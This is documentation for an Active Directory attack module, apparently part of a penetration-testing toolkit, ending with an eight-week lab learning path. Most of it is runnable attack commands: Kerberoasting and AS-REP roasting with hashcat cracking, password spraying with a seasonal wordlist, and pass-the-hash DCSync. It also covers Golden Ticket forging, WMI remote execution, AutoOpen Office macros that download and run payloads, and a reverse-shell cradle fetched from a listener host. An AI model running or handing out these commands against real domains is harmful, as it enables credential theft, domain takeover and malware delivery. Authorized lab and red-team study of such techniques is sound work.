- ▸ Active Directory lab environment (see windowsAD module first)
- ▸
impacket,bloodhound,crackmapexec - ▸ Compromise of at least one domain account (from windowsAD enum)
set operation enum set dc 192.168.1.x set domain lab.local run
- • Easy: enum, acl_scan, trust_map
- • Medium: silver_ticket, constrained_deleg, shadow_cred
- • Advanced: golden_ticket, dcsync, forest_trust_abuse
Overview
What adsec does
adsec is the Active Directory penetration testing module inside VANTA. It provides a complete Linux-side attack workflow against Windows AD environments — from unauthenticated domain controller discovery through authenticated enumeration, credential attacks, and post-authentication data collection.
The module wraps impacket, ldap3, netexec, and bloodhound-python into a unified interface. Every operation reads JSON from stdin and writes structured JSON to stdout, making it composable with other VANTA modules and standard tooling. Two built-in auto pipelines chain operations together for both unauthenticated and authenticated engagements.
Supported environments: Arch Linux, Kali Linux, BlackArch, and Debian-based distributions. All dependency checks run at module startup — missing tools are reported clearly before any operation begins.
auto: adaptive pipeline — vulncheck → users → groups → shares → passpol always; kerberoast → asreproast → bloodhound → loot → privesc_check when credentials are supplied.Quick Start
Running adsec
adsec reads JSON from stdin and writes JSON to stdout. The input takes a target (DC IP or domain FQDN), an operation name, and an optional params object.
# Unauthenticated DC discovery — no credentials needed
echo '{
"target": "192.168.1.10",
"params": { "operation": "discover", "domain": "corp.local" }
}' | python3 adsec.py | jq .
# Kerberoasting — requests TGS for all SPNs, saves hashes
echo '{
"target": "192.168.1.10",
"params": {
"operation": "kerberoast",
"domain": "corp.local",
"username": "jdoe",
"password": "Password123",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py
# Adaptive auto pipeline (unauthenticated)
echo '{
"target": "corp.local",
"params": {
"operation": "auto",
"domain": "corp.local",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py | jq .data
discover. If no operation key is provided in params, adsec runs DC discovery automatically. All other operations require an explicit operation name.
Reference
Operations
adsec provides 16 operations across five categories plus one adaptive auto pipeline. Pass the operation name as params.operation in the JSON input.
Discovery (unauthenticated)
Initial discovery runs automatically before any operation. Run it explicitly to get DC fingerprint data without further actions.
Domain enumeration
These operations enumerate users, groups, shares, and password policy. They operate unauthenticated where the DC permits (SAMR null session, anonymous SMB) and use authenticated LDAP/SMB when credentials are provided.
spray calls this automatically to calculate safe attempt limits.Credential attacks
These operations target credential weaknesses in the domain. Review lockout policy before running spray.
output_dir in hashcat format (-m 13100) for offline cracking. Requires credentials.userlist or a prior users run. Saves hashes in hashcat format (-m 18200).passpol before starting, enforces per-round delays and per-account jitter. Requires userlist and single_password or passlist.spray operation reads the domain lockout policy before starting. If lockout_threshold cannot be determined automatically, it defaults to 3 attempts per account. Always verify the lockout window with the domain owner before running spray against a production environment.
Vulnerability & intelligence
These operations check for exploitable conditions, collect BloodHound graph data, loot accessible file shares, and dump domain secrets.
output_dir, ready for import into BloodHound CE.shares first if no share list is in the current run's data.Remote execution
Execute commands or run audits on a remote Windows target using impacket wmiexec. Credentials are required for both operations.
command in params. Returns stdout and stderr. Supports pass-the-hash with the hash parameter.Auto pipeline
Built-in adaptive pipeline covering both unauthenticated and authenticated engagement phases. Runs operations sequentially and aggregates output into a single JSON result.
userlist is provided.Operations
Red team payloads
Two community-contributed operations for payload generation and reverse shell delivery against Windows AD targets, operated from Linux.
office_macros
Generates ready-to-paste VBA macro templates for Office documents. All macros fire on AutoOpen(). Paste into the VBA editor (Alt+F11), save as .docm or .xlsm. Identical template set to winadsec for cross-module consistency.
| macro_type | Technique | Key parameters |
|---|---|---|
| download_exec | MSXML2.XMLHTTP + ADODB.Stream → execute | payload_url |
| hidden_cmd_exec | bitsadmin download + hidden cmd.exe start | payload_url |
| persistence | HKCU Run key via WScript.Shell.RegWrite | reg_path |
| pwsh_cmd | Hidden PowerShell with execution-policy bypass | ps_command |
| reverse_shell | IEX DownloadString PowerShell cradle via cmd.exe | rev_url, lhost, lport |
| all | All five templates in one call | — |
shell
Generates a reverse shell payload via the revshell module. If credentials are provided, auto-delivers it to the target via WMI exec and starts a listener. Without credentials, outputs the payload command for manual delivery.
| Parameter | Default | Description |
|---|---|---|
| lhost | auto-detect | Listener IP. Defaults to local interface IP. |
| lport | 4444 | Listener port. |
| payload_type | powershell_b64 | Any type supported by revshell (powershell_b64, cmd_nc, etc.) |
| serve | true | If true, start interactive multi-session server. If false, listen for duration seconds. |
| duration | 120 | Single-connection listen timeout (when serve=false). |
Parameters
All parameters go inside the params object of the JSON input alongside the operation key.
Core
| Parameter | Type | Default | Description |
|---|---|---|---|
| target | string | required | DC IP address or domain FQDN (e.g. 192.168.1.10 or corp.local) |
| operation | string | discover | Operation name. See the Operations section for all valid values. |
| domain | string | "" | Domain name in FQDN format, e.g. corp.local. Required for most operations. |
| username | string | "" | Domain username for authenticated operations. Combine with password or hash. |
| password | string | "" | Domain password for authenticated operations. Mutually exclusive with hash. |
| hash | string | "" | NTLM hash for pass-the-hash authentication. Format: LM:NT (use 32 zeros for LM portion if unknown). |
| output | string | "" | Output file path for hash dumps (kerberoast, asreproast) or directory path for BloodHound ZIP and auto pipeline results. |
Spray & Threading
| Parameter | Type | Default | Description |
|---|---|---|---|
| threads | integer | 5 | Thread count for spray and enumeration operations. Keep low to avoid triggering rate-based detection. |
| delay | integer (seconds) | 30 | Delay between spray rounds in seconds. Should exceed the domain observation window for lockout counting. |
| lockout_threshold | integer | 3 | Maximum authentication attempts per account before the account is skipped. adsec queries the domain policy and uses whichever is lower. |
Examples
Examples
DC discovery
echo '{
"target": "10.10.10.5",
"params": {
"operation": "discover",
"domain": "htb.local"
}
}' | python3 adsec.py | jq '.data.domain_info'
# Follow up with SMB share enumeration
echo '{
"target": "10.10.10.5",
"params": {
"operation": "shares",
"domain": "htb.local"
}
}' | python3 adsec.py | jq '.data.shares'
Kerberoasting with hash output
echo '{
"target": "192.168.100.5",
"params": {
"operation": "kerberoast",
"domain": "corp.local",
"username": "jdoe",
"password": "Summer2024!",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py
# Crack hashes offline
hashcat -m 13100 /tmp/adsec-loot/kerberoast-*.hashes /usr/share/wordlists/rockyou.txt
AS-REP roasting (no credentials)
echo '{
"target": "dc01.corp.local",
"params": {
"operation": "asreproast",
"domain": "corp.local",
"userlist": "/tmp/users.txt",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py | jq '.data.asreproast | length'
# Crack AS-REP hashes
hashcat -m 18200 /tmp/adsec-loot/asreproast-*.hashes /usr/share/wordlists/rockyou.txt
Pass-the-hash DCSync
echo '{
"target": "192.168.1.10",
"params": {
"operation": "secrets",
"domain": "corp.local",
"username": "Administrator",
"hash": "00000000000000000000000000000000:fc525c9683e8fe067095ba2ddc971889",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py | jq '.data.secrets'
Remote command execution
echo '{
"target": "192.168.1.10",
"params": {
"operation": "exec",
"domain": "corp.local",
"username": "jdoe",
"password": "Password123",
"command": "whoami /all"
}
}' | python3 adsec.py | jq '.data.exec'
Privilege escalation audit
echo '{
"target": "192.168.1.10",
"params": {
"operation": "privesc_check",
"domain": "corp.local",
"username": "jdoe",
"password": "Password123",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py | jq '.data.privesc'
Office macros — reverse shell cradle
echo '{
"target": "192.168.1.10",
"params": {
"operation": "office_macros",
"macro_type": "reverse_shell",
"rev_url": "http://192.168.1.114:8080/reverse.ps1"
}
}' | python3 adsec.py | jq '.data.office_macros.macros.reverse_shell'
Reverse shell — auto-deliver via wmiexec
echo '{
"target": "192.168.1.10",
"params": {
"operation": "shell",
"domain": "corp.local",
"username": "Administrator",
"password": "P@ssword1",
"lhost": "192.168.1.114",
"lport": 4444,
"payload_type": "powershell_b64"
}
}' | python3 adsec.py
Authenticated auto pipeline with BloodHound
echo '{
"target": "192.168.1.10",
"params": {
"operation": "auto",
"domain": "corp.local",
"username": "pentest",
"password": "P@ssw0rd",
"output_dir": "/tmp/adsec-loot"
}
}' | python3 adsec.py | jq '{
users: (.data.users | length),
groups: (.data.groups | length),
kerberoastable: (.data.kerberoast | length),
asreproastable: (.data.asreproast | length),
bloodhound_zip: .data.bloodhound.output_file
}'
Requirements
| Dependency | Install | Used by |
|---|---|---|
| impacket | pip3 install impacket | secrets (DCSync), kerberoast, asreproast, exec, privesc_check — Kerberos, SMB/RPC, and WMI operations |
| ldap3 | pip3 install ldap3 | users, groups, passpol — all LDAP enumeration operations |
| nxc (netexec) | pip3 install netexec | spray, shares — SMB auth and share enumeration |
| bloodhound-python | pip3 install bloodhound | bloodhound operation and auto pipeline BloodHound collection |
| python3-dnspython | pip3 install dnspython | discover — DNS SRV record queries for DC location |
All dependencies are available via pip3 and are present by default on Kali Linux and BlackArch. On Arch Linux and Debian, install them with pip3 inside a virtual environment or use the system package manager where packages are available (e.g. python3-impacket on Debian).
adsec Architecture Deep Dive
adsec is the Linux-side Active Directory penetration testing module. It wraps a collection of Python libraries (impacket, ldap3) and external tools (nmap, kerbrute, nxc) into a unified JSON interface that fits the VANTA module system. Every operation is a pure-Python function with optional external-tool acceleration — if a tool is missing, adsec falls back to native impacket or ldap3 code.
Module code path
tools/network/adsec/adsec.py
├── main(json_input)
│ ├── parse_params() → target, domain, user, pass, operation
│ ├── check_capabilities() → nmap/nxc/kerbrute/ldap3/impacket available?
│ └── dispatch(operation) → calls the right function
│
├── discover(target) → nmap AD ports + LDAP rootDSE + SMB probe
├── users(target, domain, ...) → impacket SAMR / ldap3 userlist
├── groups(target, ...) → LDAP memberOf + SAMR group enum
├── shares(target, ...) → impacket SMBConnection.listShares()
├── passpol(target, ...) → SAMR GetDomainInfo (lockout, min length)
├── kerberoast(target, ...) → find SPNs → request TGS → extract hash
├── asreproast(target, ...) → LDAP filter DONT_REQUIRE_PREAUTH
├── spray(target, ...) → lockout-safe password spray loop
├── vulncheck(target, ...) → Zerologon/PetitPotam/NoPac probes
├── bloodhound(target, ...) → bloodhound-python collect all
├── loot(target, ...) → secretsdump.py (DRSUAPI/registry)
├── secrets(target, ...) → secretsdump.py local (SYSTEM hive)
├── auto(target, ...) → discover→users→shares→kerberoast→spray
├── exec(target, ...) → wmiexec → fallback impacket WMI
└── privesc_check(target, ...) → PS audit script via -EncodedCommand
impacket library internals
impacket is a Python library implementing dozens of Windows network protocols from scratch. adsec uses it instead of calling external binaries for critical paths — meaning it works even without Kali extras installed.
impacket.dcerpc.v5.samr → SAMR RPC: enumerate users, groups, password policy
impacket.dcerpc.v5.drsuapi → DCSync: DS-Replication-Get-Changes-All
impacket.krb5.kerberosv5 → Kerberos: AS-REQ/AS-REP, TGS-REQ/TGS-REP
impacket.smbconnection → SMB1/2/3: share enumeration, file access
impacket.nmb → NetBIOS Name Service queries
# adsec kerberoasting (pure impacket, no GetUserSPNs.py external call):
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import KerberosTime, Principal
tgt, cipher, oldSKey, sessionKey = getKerberosTGT(
clientName, password, domain, "", "", kdcHost
)
for spn in found_spns:
tgs, cipher2, _, tgsSessionKey = getKerberosTGS(
Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value),
domain, kdcHost, tgt, cipher, sessionKey
)
# Extract hash from tgs for hashcat -m 13100
Kerberos Wire Format
Kerberos v5 messages are encoded in ASN.1 DER (Distinguished Encoding Rules) — a binary serialization format. Every field is a TLV: Tag byte(s) + Length byte(s) + Value. Understanding the wire format is essential for building attack tools and understanding what impacket is doing under the hood.
AS-REQ structure (authentication request)
# Sent by client → KDC port 88 (TCP or UDP)
# ASN.1 APPLICATION [10] (0x6A) — AS-REQ
6A 82 01 23 # Tag=AS-REQ (app 10), length=0x123
30 82 01 1F # SEQUENCE
A1 03 # pvno [1] — Kerberos version
02 01 05 # INTEGER 5
A2 03 # msg-type [2]
02 01 0A # INTEGER 10 = AS-REQ
A3 ... # padata [3] — optional pre-authentication
# WITHOUT padata = AS-REP Roastable (DONT_REQUIRE_PREAUTH)
# WITH padata type 2 (ENC-TIMESTAMP) = normal auth
A4 ... # req-body [4]
30 ... # KDC-REQ-BODY
A0 07 # kdc-options [0] — flags bitmask
A1 ... # cname [1] — client principal (username)
A2 ... # realm [2] — domain (CORP.LOCAL)
A3 ... # sname [3] — krbtgt/CORP.LOCAL for AS-REQ
A5 ... # till [5] — expiry (10 years out for tools)
A7 03 # nonce [7]
02 01 xx # random 4-byte nonce
A8 ... # etype [8] — accepted encryption types
# 0x17 = RC4 (NTLM hash as key) — used for roasting
# 0x12 = AES256 — modern clients prefer this
AS-REP Roastable response
# When DONT_REQUIRE_PREAUTH is set on an account:
# KDC returns AS-REP without verifying the client knows the password.
# The enc-part is encrypted with the user's key (derived from their password).
# You can crack it offline.
AS-REP:
6B ... # Tag=AS-REP (app 11)
enc-part:
etype: 23 # RC4_HMAC (0x17)
cipher: [encrypted-session-key-and-timestamp]
# First 16 bytes: HMAC-MD5 checksum (the "hash" you crack)
# hashcat format (-m 18200):
[email protected]:<16-byte-checksum>$<cipher-data>
TGS-REP hash format (Kerberoasting)
# Client requests service ticket for an SPN with any auth type.
# Ticket enc-part is encrypted with service account's NTLM hash.
TGS-REP:
6D ... # Tag=TGS-REP (app 13)
ticket:
enc-part:
etype: 23 # RC4_HMAC (requested for roasting)
cipher: # crackable with hashcat -m 13100
# hashcat format:
$krb5tgs$23$*username$DOMAIN.COM$SPN*$<hash>$<cipher>
# Cracking:
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Golden Ticket bytes
# Golden Ticket = forged TGT encrypted with krbtgt NTLM hash
# Once you have the krbtgt hash (from DCSync), you can forge any TGT.
# impacket ticketer.py:
ticketer.py -nthash <krbtgt_ntlm_hash> \
-domain-sid S-1-5-21-<domain-SID> \
-domain CORP.LOCAL Administrator
# Creates: Administrator.ccache — Kerberos credential cache
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DC01.corp.local # uses forged TGT
# The forged ticket has:
# - validity: 10 years (normal TGTs last 10 hours)
# - PAC (Privilege Attribute Certificate) signed with krbtgt key
# - group memberships: domain admins, enterprise admins, etc.
# - survives password resets of target accounts (only krbtgt reset fixes it)
LDAP and BER Wire Format
What is LDAP? The Lightweight Directory Access Protocol is a TCP protocol (port 389, TLS port 636) for querying directory services. In AD it exposes the entire domain database — users, computers, groups, GPOs, trusts — as a tree of objects. Each object has attributes (key-value pairs). LDAP filters let you search the tree. Every AD pentest starts with LDAP enumeration.
LDAP message wire format (BER)
# LDAP messages are Basic Encoding Rules (BER) — a subset of ASN.1 DER
# Tag 0x30 = SEQUENCE (universal), 0x60 = BIND-REQUEST (application 0)
30 2F # SEQUENCE (LDAPMessage)
02 01 01 # messageID = 1 (INTEGER)
60 2A # BindRequest (application 0)
02 01 03 # version = 3
04 00 # name = "" (anonymous bind)
80 00 # simple authentication, password = ""
# Anonymous bind to AD: many DCs still allow this by default
# adsec uses ldap3: conn = ldap3.Connection(server, authentication=ANONYMOUS)
# Authenticated bind (simple — cleartext, only use over TLS!):
30 3E
02 01 02
60 39
02 01 03
04 14 43 4F 52 50 5C 61 64 6D 69 6E # "CORP\admin" (DN)
80 08 50 61 73 73 77 30 72 64 # "Passw0rd"
LDAP search request
# SearchRequest — find all enabled user accounts
30 49 # SEQUENCE
02 01 03 # messageID
63 44 # SearchRequest (application 3)
04 00 # baseObject = "" (search whole domain)
0A 01 02 # scope = 2 (subtree — search entire tree)
0A 01 00 # derefAliases = 0 (never)
02 01 00 # sizeLimit = 0 (unlimited)
02 01 00 # timeLimit = 0 (unlimited)
01 01 00 # typesOnly = false (return values too)
A0 28 # filter = AND
A3 24 # equalityMatch
04 0B 6F 62 6A 65 63 74 43 6C 61 73 73 # "objectClass"
04 04 75 73 65 72 # "user"
30 00 # attributes = [] (all)
Key LDAP filters for AD pentesting
| Filter | Finds |
|---|---|
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) | All enabled users |
(userAccountControl:1.2.840.113556.1.4.803:=4194304) | AS-REP Roastable (DONT_REQUIRE_PREAUTH) |
(&(objectClass=user)(servicePrincipalName=*)) | Kerberoastable (SPN set) |
(userAccountControl:1.2.840.113556.1.4.803:=524288) | Trusted for unconstrained delegation |
(ms-DS-MachineAccountQuota>0) | Non-admin users can add machine accounts |
(objectClass=trustedDomain) | Domain trusts (forest enumeration) |
(&(objectClass=computer)(ms-Mcs-AdmPwd=*)) | LAPS password readable |
The OID 1.2.840.113556.1.4.803 is the "bitwise AND" matching rule — it checks if a bit flag is set in an integer attribute. This is how you query userAccountControl bit by bit in LDAP.
BloodHound Graph Internals
BloodHound collects AD data (via LDAP, SMB, and RPC) and stores it in a Neo4j graph database. Each node is an AD object (User, Computer, Group, GPO, OU, Domain). Each edge is a relationship with an attack implication. The power of BloodHound is that it finds attack paths by graph traversal — paths you would never find by manual enumeration.
Data collection (bloodhound-python)
# adsec bloodhound operation runs:
bloodhound-python -d CORP.LOCAL -u username -p password \
-dc DC01.corp.local \
-c All # All = Users, Groups, Computers,
# LocalAdmins, Sessions, ACLs, Trusts
# Output: JSON files (users.json, groups.json, computers.json, ...)
# Import into BloodHound UI → Neo4j → enable attack path queries
Key BloodHound edges (attack relationships)
| Edge | Meaning | Attack |
|---|---|---|
| MemberOf | User is member of Group | Privilege inherited from group |
| AdminTo | User/Group has local admin on Computer | Can run code, dump LSASS |
| HasSession | User has active logon session on Computer | Token impersonation if local admin on host |
| GenericAll | Full control over object | Add member, reset password, set SPN |
| GenericWrite | Write all properties | Set SPN (Kerberoast), modify logon script |
| WriteOwner | Can change owner of object | Take ownership → GenericAll |
| AllExtendedRights | All extended AD rights | Reset password, DCSync permissions |
| ForceChangePassword | Can reset user's password | Set known password → authenticate as user |
| DCSync | DS-Replication-Get-Changes-All | Dump all hashes without touching disk |
Shortest path queries (Neo4j Cypher)
# Find shortest path from any domain user to Domain Admins:
MATCH p=shortestPath(
(u:User)-[*1..]->(g:Group {name:"DOMAIN [email protected]"})
) RETURN p
# Find computers with unconstrained delegation:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
# Find users with DONT_REQUIRE_PREAUTH:
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.enabled
# Find all paths between two specific nodes:
MATCH p=allShortestPaths(
(a:User {name:"[email protected]"})-[*]->(b:Group {name:"DOMAIN [email protected]"})
) RETURN p
Customization & Extension
Adding a custom vulnerability check
# Add ESC1 check — ADCS misconfigured certificate template
# (AD Certificate Services escalation — any user can request cert for any user)
from impacket.ldap import ldap, ldapasn1
def check_adcs_esc1(target, domain, username, password):
"""Find certificate templates with ESC1 misconfiguration."""
# ESC1: enrollee supplies subject + template allows any SAN + low privilege enroll
ldap_filter = (
"(&(objectClass=pKICertificateTemplate)"
"(|(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" # ENROLLEE_SUPPLIES_SUBJECT
"(msPKI-Enrollment-Flag:1.2.840.113556.1.4.803:=1))" # INCLUDE_SYMMETRIC_ALGORITHMS
")"
)
conn = ldap3.Connection(
ldap3.Server(target), user=f"{domain}\\{username}",
password=password, authentication=ldap3.NTLM
)
conn.bind()
conn.search(
f"CN=Certificate Templates,CN=Public Key Services,CN=Services,"
f"CN=Configuration,DC={',DC='.join(domain.split('.'))}",
ldap_filter,
attributes=["name", "msPKI-Certificate-Name-Flag",
"msPKI-Enrollment-Flag", "nTSecurityDescriptor"]
)
vulnerable = []
for entry in conn.entries:
vulnerable.append({
"template": entry.name.value,
"flags": str(entry["msPKI-Certificate-Name-Flag"])
})
return {"adcs_esc1_templates": vulnerable}
# Add to module.json:
# { "name": "adcs_check", "description": "ADCS ESC1-8 template audit" }
Adding a new spray wordlist
# adsec spray uses a built-in seasonal + common password list
# Extend it with domain-specific guesses:
SPRAY_WORDLIST = [
"Password1", "Password1!", "Welcome1", "Welcome1!",
"Spring2025!", "Summer2025!", "Winter2025!",
"{company}2025", "{company}2025!",
"Changeme1!", "Letmein1!"
]
def generate_seasonal_passwords(company_name=""):
import datetime
year = datetime.datetime.now().year
season = ["Spring", "Summer", "Fall", "Winter"][
(datetime.datetime.now().month - 1) // 3
]
extra = [
f"{season}{year}!", f"{season}{year}",
f"{company_name}{year}!" if company_name else None,
f"{company_name}1!" if company_name else None,
]
return SPRAY_WORDLIST + [p for p in extra if p]
Learning Path
Recommended resources
| Resource | Format | Focus |
|---|---|---|
| TryHackMe — AD Basics | Free guided lab | AD structure, Kerberos, users and groups |
| TryHackMe — Attacking Kerberos | Free guided lab | AS-REP Roasting, Kerberoasting, Golden Ticket |
| GOAD Lab | Vagrant AD lab | Full multi-domain AD lab with intentional vulns |
| Red Team Notes (ired.team) | Free web reference | Every AD attack technique with code |
| HackTricks AD Methodology | Free wiki | Checklist-style AD attack chain |
| The Hacker Playbook 3 — Peter Kim | Book | AD-focused red team methodology |
| BloodHound Enterprise Blog | Articles | Attack path research, new AD techniques |
| Certipy | Tool + writeups | ADCS ESC1-13 attack techniques |
Practice progression (8 weeks)
Week 1 — AD fundamentals
▸ TryHackMe: Active Directory Basics (free)
▸ TryHackMe: Breaching Active Directory
▸ Set up GOAD lab (Vagrant + VirtualBox) or use TryHackMe AD rooms
Week 2 — Enumeration
▸ adsec discover + users + groups + shares on GOAD
▸ Manual LDAP with ldapsearch -x -H ldap://DC -b "" "(objectClass=*)"
▸ Understand bloodhound output — import JSON, explore graph
Week 3 — AS-REP Roasting and Kerberoasting
▸ adsec asreproast on GOAD (has ASREPRoast accounts pre-configured)
▸ adsec kerberoast → save hashes → hashcat -m 18200 / -m 13100
▸ Crack successfully → authenticate as service account
Week 4 — Password spraying
▸ adsec passpol first (never spray without knowing lockout policy!)
▸ adsec spray with seasonal wordlist
▸ Practice lockout awareness: buffer = maxAttempts - 2
Week 5 — DCSync and secrets
▸ Get DA credentials (from cracked hash or spray)
▸ adsec loot (DCSync) → extract all hashes
▸ Pass-the-Hash with nxc: nxc smb <target> -u admin -H <NT-hash>
Week 6 — Kerberos attacks
▸ Golden Ticket with impacket ticketer.py
▸ Unconstrained delegation abuse (TryHackMe: Exploiting AD)
▸ ADCS: Certipy find + Certipy req (ESC1 if GOAD has PKI role)
Week 7 — BloodHound attack paths
▸ adsec bloodhound on GOAD
▸ Find shortest path to DA in BloodHound GUI
▸ Execute the attack path manually step by step
Week 8 — Full engagement simulation
▸ Start from unauthenticated on GOAD external network
▸ Responder → capture NTLMv2 → crack → spray → DCSync
▸ Document as a pentest report (TTP chain with evidence)